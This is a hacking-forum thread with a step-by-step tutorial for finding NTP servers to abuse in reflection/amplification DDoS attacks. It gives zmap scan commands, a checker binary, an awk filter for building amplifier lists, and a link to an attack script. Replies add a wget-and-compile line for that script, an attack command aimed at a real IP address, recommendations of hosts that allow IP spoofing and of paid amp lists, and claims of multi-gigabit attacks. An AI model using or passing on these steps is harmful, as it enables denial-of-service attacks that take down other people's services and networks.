

Forum: [Hack Forums](#)

Thread: [\[Tutorial\] NTP scanning and filtering \(UPDATED\)](#)

ma?ns - January 5, 2016, 11:51 am

NTP scanning and filtering tutorial*

*All the scripts used arent coded by me and I didnt invent any of this. Im just sharing it with you guys because sharing is caring.

Why I made this tutorial

I just do this to help other people that dont know how to do this. And I couldnt really find any other HQ thread that covers NTP scanning and filtering.

Requirements

1. A VPS / Dedicated server that you can scan on (see 'Hosting' for some hosts). (I use centos 6.x)
2. Alot of bandwidth
3. ntpchecker: <http://www.mediafire.com/download/69htm0oaubbi78k/ntpchecker>
4. ntp_123_monlist.pkt: http://www.mediafire.com/download/2c369nfl2c4momz/ntp_123_monlist.pkt
5. A brain (jk you wont need one)

Hosting for scanning

Here are some hosting that I think are good for scanning:

<http://ecatel.co.uk/>

<http://www.ovh.com/ca/en/>

<http://www.soyoustart.com/ca/en/>

<https://www.kimsufi.com/en/>

<http://colocrossing.com/>

<https://www.datashack.net/> (This is the one that I used and I had pretty good results ?)

How to scan

Spoiler [\(Click to View\)](#)

Update your server

Code yum -y updateInstall repositorys

Centos 6:

Code wget http://dl.fedoraproject.org/pub/epel/6/x86_64/epel-release-6-8.noarch.rpm

sudo rpm -Uvh epel-release-6-8.noarch.rpmCentos 7:

Code wget http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-5.noarch.rpm

sudo rpm -Uvh epel-release-7-5.noarch.rpmInstall dependencies

Code yum install gcc libcap libpcap libpcap-devel screen php dstat cmake gmp gmp-devel

gengetopt byacc flex git json-cInstall Zmap

Code yum -y install zmap

- Upload the NTPChecker to your server -

- Upload the ntp_123_monlist.pkt to your server -

Start the scan

Code screen zmap -p 123 -M udp --probe-args=file:/root/ntp_123_monlist.pkt -o

monlist_fingerprint.txtIt can take pretty long please wait it out.

Run the ntpchecker

Give it permissions first:

Code chmod 777 ntpcheckerRun the checker:

Code screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1Filter the list

Code awk '\$2>419{print \$1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt

Enjoy!

(My results where about 350x amplification: <http://prntscr.com/9m34rx> <http://prntscr.com/9mhwrl>)

Extra info

- If you have any issues post them below. -

- NTP attack script: <http://pastebin.com/raw/PJeYk4Bc> (Thanks for the amazing script: <https://hackforums.net/member.php?action=profile&uid=2623266>).

- I usually type screen first and when it opens the screen I type the command. -

This is for educational purposes only.

Thanks to:

Google

All of hackforums

<https://hackforums.net/member.php?action=profile&uid=2350472> for the dstat

This was my first tutorial. Please leave a thanks if you have enjoyed this tutorial. ?

I didnt really know in what section to post this so please tell me if i posted it in the wrong section.

Tirentz - January 5, 2016, 12:24 pm

When i scan with zmap it never outputs the results.

i use this command

zmap -M udp -p 123 --probe-args=file:ntp_123_monlist.pkt -o monlist_fingerprint.txt

ma?ns - January 5, 2016, 12:29 pm

(Jan 5, 2016 01:24 PM)Tirentz Wrote: [\[CITE\]](#) When i scan with zmap it never outputs the results.

i use this command

zmap -M udp -p 123 --probe-args=file:ntp_123_monlist.pkt -o monlist_fingerprint.txt

I forgot to put it in the thread look at it now :D

Knowledgeable - January 5, 2016, 4:30 pm

so why use zmap and monlist method as opposed to an ntp c scanner?

OGSkypeThug - January 5, 2016, 4:41 pm

(Jan 5, 2016 05:30 PM)Knowledgeable Wrote: [\[CITE\]](#) so why use zmap and monlist method as opposed to an ntp c scanner?

so why use a ntp c scanner opposed to zmap and monlist method

ma?ns - January 5, 2016, 10:52 pm

(Jan 5, 2016 05:41 PM)OGSkypeThug Wrote: [\[CITE\]](#) so why use a ntp c scanner opposed to zmap and monlist method

You, I like you

(Jan 5, 2016 05:30 PM)Knowledgeable Wrote: [\[CITE\]](#) so why use zmap and monlist method as opposed to an ntp c scanner?Because I simply get better results doing it this way, but on the other hand it takes way longer. If you want it to be done faster you can also use the ntpscanner and filter that but I got way better results with this.

Knowledgeable - January 5, 2016, 11:00 pm

(Jan 5, 2016 11:52 PM)Foxxi_ Wrote: [\[CITE\]](#) You, I like you

Because I simply get better results doing it this way, but on the other hand it takes way longer. If you want it to be done faster you can also use the ntpscanner and filter that but I got way better results with this.

thanks for the reply

when you say better results, are you meaning bigger lists or stronger lists?

OGSkypeThug - January 5, 2016, 11:03 pm

(Jan 6, 2016 12:00 AM)Knowledgeable Wrote: [\[CITE\]](#) thanks for the reply
when you say better results, are you meaning bigger lists or stronger lists?
You also got to note, if your host filters NTP you won't get good lists.

ma?ns - January 5, 2016, 11:20 pm

(Jan 6, 2016 12:03 AM)OGSkypeThug Wrote: [\[CITE\]](#) You also got to note, if your host filters NTP you won't get good lists.
Ill put it in the thread.

(Jan 6, 2016 12:00 AM)Knowledgeable Wrote: [\[CITE\]](#) thanks for the reply
when you say better results, are you meaning bigger lists or stronger lists?
Im getting a bigger amp factor and the lists are also about 2x as big.

J?son - January 6, 2016, 2:16 am

It's a known fact that zmap works better than the C scripts. ?

OGSkypeThug - January 6, 2016, 2:18 am

(Jan 6, 2016 03:16 AM)j?son Wrote: [\[CITE\]](#) It's a known fact that zmap works better than the C scripts. ?

It's a known fact you suffer from the intellectual disability

ma?ns - January 6, 2016, 3:41 am

(Jan 6, 2016 03:18 AM)OGSkypeThug Wrote: [\[CITE\]](#) It's a known fact you suffer from the intellectual disability

It's a known fact that this post is useless.

Proxseas - January 6, 2016, 5:06 am

That's around 45x? Where the hell did you pull 350x from

ma?ns - January 6, 2016, 5:44 am

(Jan 6, 2016 06:06 AM)Proxseas Wrote: [\[CITE\]](#) That's around 45x? Where the hell did you pull 350x from

My server outputted 10 mbps and in the dstat it hit 3.5gbps Im not the smartest guy but I calculated that to be around 350x amp

Knowledgeable - January 6, 2016, 2:58 pm

(Jan 6, 2016 12:20 AM)Foxxi_ Wrote: [\[CITE\]](#) Ill put it in the thread.

Im getting a bigger amp factor and the lists are also about 2x as big.

hm, ill take note and run a new scan tonight or tomorrow with your method and see how it goes and post back. thanks

Proxseas - January 6, 2016, 3:09 pm

(Jan 6, 2016 06:44 AM)Foxxi_ Wrote: [\[CITE\]](#) My server outputted 10 mbps and in the dstat it hit 3.5gbps Im not the smartest guy but I calculated that to be around 350x amp

Your server sent 64mbps

ma?ns - January 7, 2016, 1:30 am

(Jan 6, 2016 04:09 PM)Proxseas Wrote: [\[CITE\]](#) Your server sent 64mbps

Isnt the green stuff mbps and the yellow stuff kbps what makes it around 10 mbps?

AlphaFPV - January 7, 2016, 10:08 am

Thx for the help m8, i really appreciate it!

Red Bull™ - January 7, 2016, 11:49 am

(Jan 7, 2016 02:30 AM)S a l t Wrote: [\[CITE\]](#) Isnt the green stuff mbps and the yellow stuff kbps what makes it around 10 mbps?

The green one is MB/s and the yellow is KB/s. Your server is sending around 8000KB/s or 8MB/s which is equal to 64Mb/s

1MB/s = 8 Mb/s

PipeQT - January 7, 2016, 12:34 pm

good info , thanks bud keep things updated !

ma?ns - January 7, 2016, 12:56 pm

(Jan 7, 2016 12:49 PM)D????I Wrote: [\[CITE\]](#) The green one is MB/s and the yellow is KB/s. Your server is sending around 8000KB/s or 8MB/s which is equal to 64Mb/s

1MB/s = 8 Mb/s

Thanks alot I never really got this till now +1 for you ?

(Jan 7, 2016 01:34 PM)PipeQT Wrote: [\[CITE\]](#) good info , thanks bud keep things updated !

Thanks for the feedback ?

CChamper - January 9, 2016, 7:01 am

sorry for the noobish comment but, how can i use the ntp amp script if its just text.

J?son - January 9, 2016, 7:04 am

wget <http://pastebin.com/raw/PJeYk4Bc> -O ntp.c;gcc ntp.c -o ntp -pthread

CChamper - January 9, 2016, 7:10 am

(Jan 9, 2016 08:04 AM)j?son Wrote: [\[CITE\]](#) wget http : //pastebin .com / raw/ PJeYk4Bc -O ntp.c;gcc ntp.c -o ntp -pthread
Im getting alot of errors when i try to run ./ntp.c
help

```
./ntp.c: line 1: /bin: is a directory
: command not found
./ntp.c: line 15: static: command not found
: command not found
./ntp.c: line 16: struct: command not found
: command not found
./ntp.c: line 18: struct: command not found
: command not found
./ntp.c: line 19: struct: command not found
: command not found
./ntp.c: line 20: struct: command not found
: command not found
./ntp.c: line 21: syntax error near unexpected token `}'
'/ntp.c: line 21: `};
```

J?son - January 9, 2016, 7:22 am

no, you run ./ntp after compiling it. ???

CChamper - January 9, 2016, 7:24 am

(Jan 9, 2016 08:22 AM)j?son Wrote: [\[CITE\]](#) no, you run ./ntp after compiling it. ???
Sorry, i put in wget and i get a .c file, how would i compile it

J?son - January 9, 2016, 7:26 am

gcc ntp.c -o ntp -pthread

i told you in the previous post.

Callofdutypro2 - January 9, 2016, 7:31 am

(Jan 9, 2016 08:26 AM)j?son Wrote: [\[CITE\]](#) gcc ntp.c -o ntp -pthread

i told you in the previous post.
i said show me a picture of your net

CChamper - January 9, 2016, 7:31 am

(Jan 9, 2016 08:26 AM)j?son Wrote: [\[CITE\]](#) gcc ntp.c -o ntp -pthread

i told you in the previous post.
Sorry, i read it wrong. And btw idk if the script is good
(Heres what i entered: ./ntp 198.143.138.163 25565 ntpamp.txt 1 -1 20
) but they haven't got hit yet and im on a dedicated server with 1gbps

J?son - January 9, 2016, 7:34 am

If the attack isn't working, then your server doesn't allow IP header modifications. (spoofing)

or you need a stronger NTP amp list.

Callofdutypro2 - January 9, 2016, 7:36 am

(Jan 9, 2016 08:34 AM)j?son Wrote: [\[CITE\]](#) If the attack isn't working, then your server doesn't allow IP header modifications. (spoofing)

or you need a stronger NTP amp list.
i said show me a picture of your net

CChamper - January 9, 2016, 7:41 am

(Jan 9, 2016 08:34 AM)j?son Wrote: [\[CITE\]](#) If the attack isn't working, then your server doesn't allow IP header modifications. (spoofing)

or you need a stronger NTP amp list.
Can you recommend some dedicated servers that allow spoofing?

J?son - January 9, 2016, 7:42 am

(Jan 9, 2016 08:41 AM)CChamper Wrote: [\[CITE\]](#) Can you recommend some dedicated servers that allow spoofing?

<http://ampnode.com/>

Callofdutypro2 - January 9, 2016, 7:52 am

i said show me a picture of your net

ma?ns - January 9, 2016, 11:17 am

Thanks everyone for the feedback

CChamper - January 9, 2016, 12:24 pm

Btw do any one you guys know where i can get some good scripts and amp lists, thank you.

Knowledgeable - January 9, 2016, 1:36 pm

jason mentioned ampnode
there is a "non-public" link on the site where u can buy lists
ampnode.com/lists.html

if it helps, you're welcome, if not, i offered

xxGHOST720Xx - January 10, 2016, 7:51 am

am new to all this, can someone please tell me whats the benefits of this? thank you so much in advance

ma?ns - January 10, 2016, 8:53 am

(Jan 10, 2016 08:51 AM)Superhackmods Wrote: [\[CITE\]](#) am new to all this, can someone please tell me whats the benefits of this? thank you so much in advance

Instead of just sending UDP packets str8 to someones router you amplify them via NTP (Network Time Protocol) servers. You do this using the monlist command mostly.

Hypothetical - January 11, 2016, 9:42 am

Thanks for the usefull TuT!

fr?ns - January 11, 2016, 9:43 am

This Tut is on steroids! :D thanx man

Reaven - January 12, 2016, 10:43 am

Great tutorial keep up the HQ work bud

Gary The Goat - January 14, 2016, 8:24 pm

I seem to be having trouble running these lines of code:

```
screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1
```

right after executing it says screen terminated. (I figured since it didn't do anything it didn't work) and so the following line:

```
awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt
```

gives me errors aswell.

EDIT: i tried to just run ./ntpchecker and it says "cannot execute binary file". Does this mean my systems operating system is in 32 bit or something?

ma?ns - January 15, 2016, 6:47 am

(Jan 14, 2016 09:24 PM)CrypticHF Wrote: [\[CITE\]](#) I seem to be having trouble running these lines of code:

```
screen ./ntpchecker monlist_fingerprint.txt step1.txt 1 0 1
```

right after executing it says screen terminated. (I figured since it didn't do anything it didn't work) and so the following line:

```
awk '$2>419{print $1}' step1.txt | sort -n | uniq | sort -R > ntpamp.txt
```

gives me errors aswell.

EDIT: i tried to just run ./ntpchecker and it says "cannot execute binary file". Does this mean my systems operating system is in 32 bit or something?Yes it means that its operating on 32bit

TranceFamily! - January 15, 2016, 10:38 am

I have used this method, now I have the server down after launching the scan command

```
Jan 15 18:29:36.857 [INFO] zmap: output module: csv
```

```
Jan 15 18:29:37.874 [WARN] monitor: Dropped 233 packets in the last second, (234 total dropped (pcap: 234 + iface: 0))
```

```
0:01 0%; send: 287584 287 Kp/s (283 Kp/s avg); recv: 71 70 p/s (69 p/s avg); drops: 233 p/s (230 p/s avg); hits: 0.02%
```

```
Write failed: Broken pipe
```

NKingdom - January 15, 2016, 8:17 pm

Hosting for scanning

Here are some hosting that I think are good for scanning:

<http://ecatel.co.uk/> (Not able to spoof or scan now)

<http://www.ovh.com/ca/en/>

<http://www.soyoustart.com/ca/en/>

<https://www.kimsufi.com/en/>

<http://colocrossing.com/> (Not able to spoof or scan now)

<https://www.datashack.net/> (Not able to spoof or scan now)

grady - January 15, 2016, 8:17 pm

I'm getting about 5x amp with this.
ty

Gary The Goat - January 15, 2016, 10:10 pm

(Jan 15, 2016 07:47 AM)S a l t Wrote: [\[CITE\]](#) Yes it means that its operating on 32bit
ya I reinstalled with centos 64bit and it worked well!

(Jan 15, 2016 09:17 PM)NKingdom Wrote: [\[CITE\]](#) Hosting for scanning

Here are some hosting that I think are good for scanning:

...

I highly doubt that ovh.com/ca/en/ allows spoofing.

Knowledgeable - January 15, 2016, 10:35 pm

using this method im averaging 5Gbps from 1Gbps dedi port.... any input

Drinkz - January 16, 2016, 12:07 am

(Jan 15, 2016 11:35 PM)Knowledgeable Wrote: [\[CITE\]](#) using this method im averaging 5Gbps from
1Gbps dedi port.... any input

use common sense why? You have a garbage US Server. Thats why, + you're using fucking awful
public graphs, that tell you you're hitting 100Gbps when your real attack amount is 30Gbps. You're
clueless to how scanning works. That is why you're averaging 5Gbps

ma?ns - January 16, 2016, 9:49 am

(Jan 15, 2016 09:17 PM)?Infamy Wrote: [\[CITE\]](#) I'm getting about 5x amp with this.
tyAre you serious?

(Jan 15, 2016 11:35 PM)Knowledgeable Wrote: [\[CITE\]](#) using this method im averaging 5Gbps from
1Gbps dedi port.... any inputThat it has a 1Gbps port doesnt mean its sending 1Gbps because I
highly doubt that its send 1Gbps

(Jan 16, 2016 01:07 AM)Drinkz Wrote: [\[CITE\]](#) use common sense why? You have a garbage US
Server. Thats why, + you're using fucking awful public graphs, that tell you you're hitting 100Gbps
when your real attack amount is 30Gbps. You're clueless to how scanning works. That is why
you're averaging 5Gbps

Thanks alot for telling him ?

optyczny - January 19, 2016, 11:48 am

good info , thanks bud keep things updated !

ma?ns - January 19, 2016, 11:54 am

(Jan 19, 2016 12:48 PM)optyczny Wrote: [\[CITE\]](#) good info , thanks bud keep things updated !No
problem :)

Kumara - January 19, 2016, 11:56 am

(Jan 16, 2016 10:49 AM)S a l t Wrote: [\[CITE\]](#) That it has a 1Gbps port doesnt mean its sending
1Gbps because I highly doubt that its send 1Gbps

The most I've ever seen a 1Gbps port send was 936Mbps, spoofed.

There is a good chance a lot of spoofed packets are being dropped, though.

ma?ns - January 19, 2016, 12:03 pm

(Jan 19, 2016 12:56 PM)?SwagDaddy Wrote: [\[CITE\]](#) The most I've ever seen a 1Gbps port send was 936Mbps, spoofed.

There is a good chance a lot of spoofed packets are being dropped, though.
Was it SUDP (Because that doesn't really count) or an amplified attack that pushed 936Mbps?

Kumara - January 19, 2016, 12:04 pm

(Jan 19, 2016 01:03 PM)S a l t Wrote: [\[CITE\]](#) Was it SUDP (Because that doesn't really count) or an amplified attack that pushed 936Mbps?
Either way it was spoofed.

The most I've seen NTP send on a dank server was about 856Mbps.

chunfeng000222 - January 19, 2016, 8:53 pm

Use your methods filter NTP, 1Gbps port 8Gbps server gets reflected, and only 8 times the power

ma?ns - January 20, 2016, 2:57 am

(Jan 19, 2016 09:53 PM)chunfeng000222 Wrote: [\[CITE\]](#) Use your methods filter NTP, 1Gbps port 8Gbps server gets reflected, and only 8 times the power That you have a 1Gbps port doesn't mean it's pushing 1Gbps

YourStub - January 20, 2016, 3:11 am

(Jan 20, 2016 03:57 AM)S a l t Wrote: [\[CITE\]](#) That you have a 1Gbps port doesn't mean it's pushing 1Gbps
No, your method only produces 7-8x amplification . Lol

g0tme - January 20, 2016, 3:57 am

Hi there , can anyone help me pls where to buy Dedicated servers which allowed for scan and ddos.. PM pls Thanks

ma?ns - January 20, 2016, 6:23 am

(Jan 20, 2016 04:11 AM)YourStub Wrote: [\[CITE\]](#) No, your method only produces 7-8x amplification . Lol
What method would you recommend?

Kumara - January 20, 2016, 7:11 am

(Jan 20, 2016 07:23 AM)S a l t Wrote: [\[CITE\]](#) What method would you recommend?
DNS is a great method for amps.

ma?ns - January 20, 2016, 7:59 am

(Jan 20, 2016 08:11 AM)?SwagDaddy Wrote: [\[CITE\]](#) DNS is a great method for amps.
You have a good DNS scanner?

Kumara - January 20, 2016, 8:01 am

(Jan 20, 2016 08:59 AM)S a l t Wrote: [\[CITE\]](#) You have a good DNS scanner?
Zmap is the probably the best scanner around.

ma?ns - January 20, 2016, 8:03 am

(Jan 20, 2016 09:01 AM)?SwagDaddy Wrote: [\[CITE\]](#) Zmap is the probably the best scanner around.
Ye, the problem is that I don't have any spoofed hosting rn

Kumara - January 20, 2016, 8:05 am

(Jan 20, 2016 09:03 AM)S a l t Wrote: [\[CITE\]](#) Ye, the problem is that I don't have any spoofed hosting

rn

Don't need to spoof for Zmap, mate :P

ma?ns - January 20, 2016, 12:02 pm

(Jan 20, 2016 09:05 AM)?SwagDaddy Wrote: [\[CITE\]](#) Don't need to spoof for Zmap, mate :P
Ye I know but I cant do shit if I dont have an attack server xd

Gary The Goat - January 21, 2016, 1:19 pm

(Jan 15, 2016 11:35 PM)Knowledgeable Wrote: [\[CITE\]](#) using this method im averaging 5Gbps from 1Gbps dedi port.... any input
Im hitting with far over 5Gbps. If someone wants to dstat we can test but I think it's hitting with atleast 25Gbps for me

ma?ns - January 22, 2016, 3:41 am

(Jan 21, 2016 02:19 PM)CrypticHF Wrote: [\[CITE\]](#) Im hitting with far over 5Gbps. If someone wants to dstat we can test but I think it's hitting with atleast 25Gbps for me
Thats good to hear ?

Ninetales. - January 31, 2016, 12:46 am

I'm trying to run screen zmap to use the scanner but I get this:
[screen is terminating]

When I remove screen, I get:
Jan 31 03:48:47.491 [FATAL] zmap: could not detect default gateway address for venet0. Try setting default gateway mac address (-G).
Works fine on my other VPS.

Host is HVH.

ma?ns - January 31, 2016, 3:02 am

(Jan 31, 2016 01:46 AM)Ninetales. Wrote: [\[CITE\]](#) I'm trying to run screen zmap to use the scanner but I get this:
[screen is terminating]

When I remove screen, I get:
Jan 31 03:48:47.491 [FATAL] zmap: could not detect default gateway address for venet0. Try setting default gateway mac address (-G).
Works fine on my other VPS.

Host is HVH.What OS are you running?

Ninetales. - January 31, 2016, 3:12 am

(Jan 31, 2016 04:02 AM)S a l t Wrote: [\[CITE\]](#) What OS are you running?
CentOS 6.
Im gonna PM you my Skype, have mor equestions.

ma?ns - January 31, 2016, 9:23 am

(Jan 31, 2016 04:12 AM)Ninetales. Wrote: [\[CITE\]](#) CentOS 6.
Im gonna PM you my Skype, have mor equestions.
I added you on skype

KaitenSTD - January 31, 2016, 4:11 pm

(Jan 6, 2016 12:20 AM)S a l t Wrote: [\[CITE\]](#) Ill put it in the thread.

Im getting a bigger amp factor and the lists are also about 2x as big.
Is it suppose to stay like this? ([http://prntscr\(dot\)com/9xfglf](http://prntscr(dot)com/9xfglf)

ma?ns - February 1, 2016, 3:52 am

(Jan 31, 2016 05:11 PM)KaitenSTD Wrote: [\[CITE\]](#) Is it suppose to stay like this?
([http://prntscr\(dot\)com/9xfglf](http://prntscr(dot)com/9xfglf)

Here you see how much % its done and how long its gonna take (not really accurate)
<http://prntscr.com/9xkxzz> (sick drawing skills). Check if the size of your list increases and just wait till the scan is done ?

ma?ns - February 9, 2016, 9:39 am

Thanks everyone for the positive feedback :)

memesrmemesamirite - February 9, 2016, 12:44 pm

This is insanely outdated. Doubt this will yield more than 50x amp.

You need to get the IPs that respond many times to 1 query.

NKingdom - February 10, 2016, 5:54 am

This tutorial is copied from another thread from HF i am sure, as I have seen this before.

ma?ns - February 10, 2016, 6:18 am

(Feb 10, 2016 06:54 AM)NKingdom Wrote: [\[CITE\]](#) This tutorial is copied from another thread from HF
i am sure, as I have seen this before.Im sorry but I dont copy

NKingdom - February 10, 2016, 8:53 am

(Feb 10, 2016 07:18 AM)Sa??It Wrote: [\[CITE\]](#) Im sorry but I dont copy
Oh, I didn't see the create date, sorry, this should be the original one, I apologize.

Vaxify - February 17, 2016, 8:17 am

Very helpful thread; was able to get a 133x amp using this method!

Kouta - February 19, 2016, 3:20 pm

The link for Centos 7 is not working

http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-1.noarch.rpm

just change the: epel-release-7-1.noarch.rpm to epel-release-7-5.noarch.rpm
just so u know ?

ma?ns - February 20, 2016, 2:32 am

(Feb 19, 2016 04:20 PM)Kouta Wrote: [\[CITE\]](#) The link for Centos 7 is not working
http://dl.fedoraproject.org/pub/epel/7/x86_64/e/epel-release-7-1.noarch.rpm

just change the: epel-release-7-1.noarch.rpm to epel-release-7-5.noarch.rpm
just so u know ?

Thank you Ill change it ?

Junked - February 20, 2016, 2:40 am

gl finding a server that doesn't filter ntp lol

ma?ns - February 20, 2016, 6:00 am

(Feb 20, 2016 03:40 AM)Junked Wrote: [\[CITE\]](#) gl finding a server that doesn't filter ntp lol
GL with your neg rep ?

Junked - February 20, 2016, 6:08 am

(Feb 20, 2016 07:00 AM)Sa??It Wrote: [\[CITE\]](#) GL with your neg rep ?Are you legit disabled or?

Apparently me stating out that alot of hosts filter ntp giving you low results is apparently LQ

Lol

Also gl with your kaiten net I see you're looking at guides for it

Kouta - February 20, 2016, 6:32 am

(Feb 20, 2016 03:40 AM)Junked Wrote: [\[CITE\]](#) gl finding a server that doesn't filter ntp lol
that is not rly that hard bro ?

also, thanks for the share <3

Junked - February 20, 2016, 6:33 am

(Feb 20, 2016 07:32 AM)Kouta Wrote: [\[CITE\]](#) that is not rly that hard bro ?

also, thanks for the share <3

Did you even understand what I said

Kouta - February 20, 2016, 6:43 am

(Feb 20, 2016 07:33 AM)Junked Wrote: [\[CITE\]](#) Did you even understand what I said
apparently not from your lack of knowledge ?

Junked - February 20, 2016, 6:45 am

(Feb 20, 2016 07:43 AM)Kouta Wrote: [\[CITE\]](#) apparently not from your lack of knowledge ?
"lack of knowledge" yet you're here thanking him for a scanning method that's been used for years?

?

Kouta - February 20, 2016, 6:50 am

(Feb 20, 2016 07:45 AM)Junked Wrote: [\[CITE\]](#) "lack of knowledge" yet you're here thanking him for a
scanning method that's been used for years?

?

(All the scripts used arent coded by me and I didnt invent any of this. Im just sharing it with you
guys because sharing is caring.

I just do this to help other people that dont know how to do this. And I couldnt really find any other
HQ thread that covers NTP scanning and filtering.)

that's what he said. also sharing is caring ?

Junked - February 20, 2016, 6:51 am

(Feb 20, 2016 07:50 AM)Kouta Wrote: [\[CITE\]](#) (All the scripts used arent coded by me and I didnt
invent any of this. Im just sharing it with you guys because sharing is caring.

I just do this to help other people that dont know how to do this. And I couldnt really find any other
HQ thread that covers NTP scanning and filtering.)

that's what he said. also sharing is caring ?
How is this even releated... Wha please never speak to me again

Kouta - February 20, 2016, 6:56 am

(Feb 20, 2016 07:51 AM)Junked Wrote: [\[CITE\]](#) How is this even releated... Wha please never speak to me again
u asked why i thanked him ? but enough with this

Martin Paul - February 20, 2016, 8:21 am

Great tutorial keep up the HQ work bud

Muzza - April 16, 2016, 4:32 am

Thanks for the great tutorial. X

daddyisbae - April 16, 2016, 12:13 pm

why isnt it hitinng i have scanned for 2 hours and it doesnt hit my target

?Creative - April 16, 2016, 12:23 pm

posting here to come back and read.

ma?ns - April 16, 2016, 2:46 pm

(Apr 16, 2016 12:13 PM)daddyisbae Wrote: [\[CITE\]](#) why isnt it hitinng i have scanned for 2 hours and it doesnt hit my target
It might be that ISP ur using doesnt have IP header modifications enabled

daddyisbae - April 16, 2016, 2:55 pm

(Apr 16, 2016 02:46 PM)Mr Salt Wrote: [\[CITE\]](#) It might be that ISP ur using doesnt have IP header modifications enabled
where can i buy one?

ma?ns - April 17, 2016, 2:06 am

(Apr 16, 2016 02:55 PM)daddyisbae Wrote: [\[CITE\]](#) where can i buy one?
I would recommed ampnod.com

AlirezaVF - April 17, 2016, 6:47 am

nice tut
thank you for share us this

Disco. - June 10, 2016, 4:11 pm

thanks for this :) +rep

25chaskmsssssssssss

ColbzgotdaHax - July 21, 2016, 7:07 am

I get no package available zmap when trying to install

Dave from the lawyer firm - July 21, 2016, 7:41 am

thanks for this man <33333

ColbzgotdaHax - July 21, 2016, 8:03 am

No package zmap available...on 3 different servers centos 6...? why

Ace Of Jesus - July 21, 2016, 7:00 pm

What does the scanning do?

ColbzgotdaHax - July 22, 2016, 8:25 am

(Jul 21, 2016 07:00 PM)Ace Of Jesus Wrote: [\[CITE\]](#) What does the scanning do?

The scanning is for when you use the script it uses the .txt file of the IPs it scans and uses the IPs it scanned to amplify the attack. Correct me if I'm wrong.

fcksoc - July 22, 2016, 8:41 am

Just leaving this here // pastebin com R6Wu0f1h //

Drunkatwork - July 22, 2016, 8:58 am

good shit mr salt, good shit

ColbzgotdaHax - July 22, 2016, 10:19 am

(Jul 22, 2016 08:41 AM)fcksoc Wrote: [\[CITE\]](#) Just leaving this here // pastebin com R6Wu0f1h // Giving away a list?

Bescht - July 22, 2016, 4:43 pm

(Jul 21, 2016 08:03 AM)ColbzgotdaHax Wrote: [\[CITE\]](#) No package zmap available...on 3 different servers centos 6...? whyyum install epel-release -y | yum install zmap -y

ColbzgotdaHax - July 26, 2016, 9:58 am

I got it a while back thanks though dude.^^^

m?x?m - August 13, 2016, 7:01 am

Vouch Good user helped me out alot also with a custom booter site thing xd <3 love him

fr?ns - August 13, 2016, 7:01 am

PM'ed you with a few questions :p

zhvegas - August 21, 2016, 4:17 am

ZMAP have good amp vector!

Enter Down - September 7, 2016, 11:24 pm

nice to share :) old methode but keep fuck hard power list ntp

ma?ns - September 8, 2016, 4:42 am

(Sep 7, 2016 11:24 PM)Enter Down Wrote: [\[CITE\]](#) nice to share :) old methode but keep fuck hard power list ntp

Thanks dude :D made this a while ago put quite some effort into it aswell

Knowledgeable - September 8, 2016, 6:02 am

(Sep 8, 2016 04:42 AM)Mr Salt Wrote: [\[CITE\]](#) Thanks dude :D made this a while ago put quite some effort into it aswell

Do you know if the hosts you posted for scanning, ovh canada for example, are still eligible for that? Ovh is pretty strict about a lot of things.

BlackBull - September 8, 2016, 6:40 am

You should told how to change amp vector and response size but still good release (some of your parts coming from old thread but whatever)

(Sep 8, 2016 06:02 AM)Knowledgeable Wrote: [\[CITE\]](#) Do you know if the hosts you posted for

scanning, ovh canada for example, are still eligible for that?

Ovh is pretty strict about a lot of things.

Hey man OVH don't care what are u doing if you have dedicated server i have dedicated and scanning fast like hell and im doing for 2 week not even single suspend but of course abuse mails coming my e-mail but im ignoring them :) so buy your own ip for 3\$ everything fine ?

ma?ns - September 8, 2016, 6:40 am

(Sep 8, 2016 06:02 AM)Knowledgeable Wrote: [\[CITE\]](#) Do you know if the hosts you posted for scanning, ovh canada for example, are still eligible for that?

Ovh is pretty strict about a lot of things.

Im not sure since this is quite an old TUT but if you have any sugestions for hosts I should put in there PM me :p

Description - September 8, 2016, 6:43 am

Great tutorial.

Stay HQ my friend.

Knowledgeable - September 8, 2016, 6:51 am

(Sep 8, 2016 06:40 AM)BlackBull Wrote: [\[CITE\]](#) You should told how to change amp vector and response size but still good release (some of your parts coming from old thread but whatever)

Hey man OVH don't care what are u doing if you have dedicated server i have dedicated and scanning fast like hell and im doing for 2 week not even single suspend but of course abuse mails coming my e-mail but im ignoring them :) so buy your own ip for 3\$ everything fine ?

I was thinking of the \$89 server. And by own, what do you mean. Use the IP that comes with the server or have to buy extra IPs?

(Sep 8, 2016 06:40 AM)Mr Salt Wrote: [\[CITE\]](#) Im not sure since this is quite an old TUT but if you have any sugestions for hosts I should put in there PM me :p
and right now i dont have any reference which is why i was asking :)

ma?ns - September 8, 2016, 7:03 am

(Sep 8, 2016 06:40 AM)BlackBull Wrote: [\[CITE\]](#) You should told how to change amp vector and response size but still good release (some of your parts coming from old thread but whatever)

Hey man OVH don't care what are u doing if you have dedicated server i have dedicated and scanning fast like hell and im doing for 2 week not even single suspend but of course abuse mails coming my e-mail but im ignoring them :) so buy your own ip for 3\$ everything fine ?

How much do you pay per month for that server all included?

(Sep 8, 2016 06:43 AM)Description Wrote: [\[CITE\]](#) Great tutorial.

Stay HQ my friend.

Thanks alot dude :D

Diaxin - September 8, 2016, 8:15 am

Isn't this 50x amplification, not 350x?

ma?ns - September 8, 2016, 9:42 am

(Sep 8, 2016 08:15 AM)Diaxin Wrote: [\[CITE\]](#) Isn't this 50x amplification, not 350x?

Its not 350 and not 50 I made some wrong calculations im sorry its around 80

Mr.Dark - September 8, 2016, 4:54 pm

(Jan 5, 2016 05:30 PM)Knowledgeable Wrote: [\[CITE\]](#) so why use zmap and monlist method as opposed to an ntp c scanner?

You do realize that zmap is capable of scanning the entire ipv4 address space in under 5 minutes, right.

Kurdish Hack3R - September 9, 2016, 1:25 am

thanks for sharing this tutorial brother :)

ma?ns - September 9, 2016, 3:02 am

(Sep 9, 2016 01:25 AM)Kurdish Hack3R Wrote: [\[CITE\]](#) thanks for sharing this tutorial brother :)
Thanks :D

Enter Down - September 9, 2016, 5:50 am

(Sep 8, 2016 06:02 AM)Knowledgeable Wrote: [\[CITE\]](#) Do you know if the hosts you posted for scanning, ovh canada for example, are still eligible for that?

Ovh is pretty strict about a lot of things.

ovh dont care about scanning, but some slow scan ntp dns, ssdp, to ovh, cos them have filtering :D , and not really good scan with ovh, but safe server no abuse, or suspend, sorry my english is bad

